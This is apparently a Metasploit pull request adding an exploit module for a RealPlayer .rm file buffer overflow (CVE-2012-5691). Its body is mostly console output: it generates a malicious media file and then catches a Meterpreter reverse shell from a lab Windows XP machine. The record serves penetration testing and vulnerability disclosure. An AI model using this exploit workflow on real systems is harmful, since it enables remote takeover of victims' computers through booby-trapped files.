rapid7/metasploit-framework — pull request #1209 by jvazquez-r7 (2012-12-25 17:08:25+00:00)
Title: Added module for CVE-2012-5691

Initially published by suto via twitter:

https://twitter.com/toanphamvan/status/283388481873539072

Tested on windows xp sp3 / Real Player 15.0.5.109 (http://www.oldversion.com/windows/realplayer-15-0-5-109)

msf exploit(real_player_rm_bof) > show options

Module options (exploit/windows/fileformat/real_player_rm_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rm no The file name.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.128 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Windows XP SP3 / Real Player 15.0.5.109

msf exploit(real_player_rm_bof) > rexploit
[*] Reloading module...

[+] msf.rm stored at /Users/juan/.msf4/local/msf.rm
msf exploit(real_player_rm_bof) > use exploit/multi/handler
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1128) at 2012-12-25 18:01:20 +0100

meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 1 closed. Reason: User exit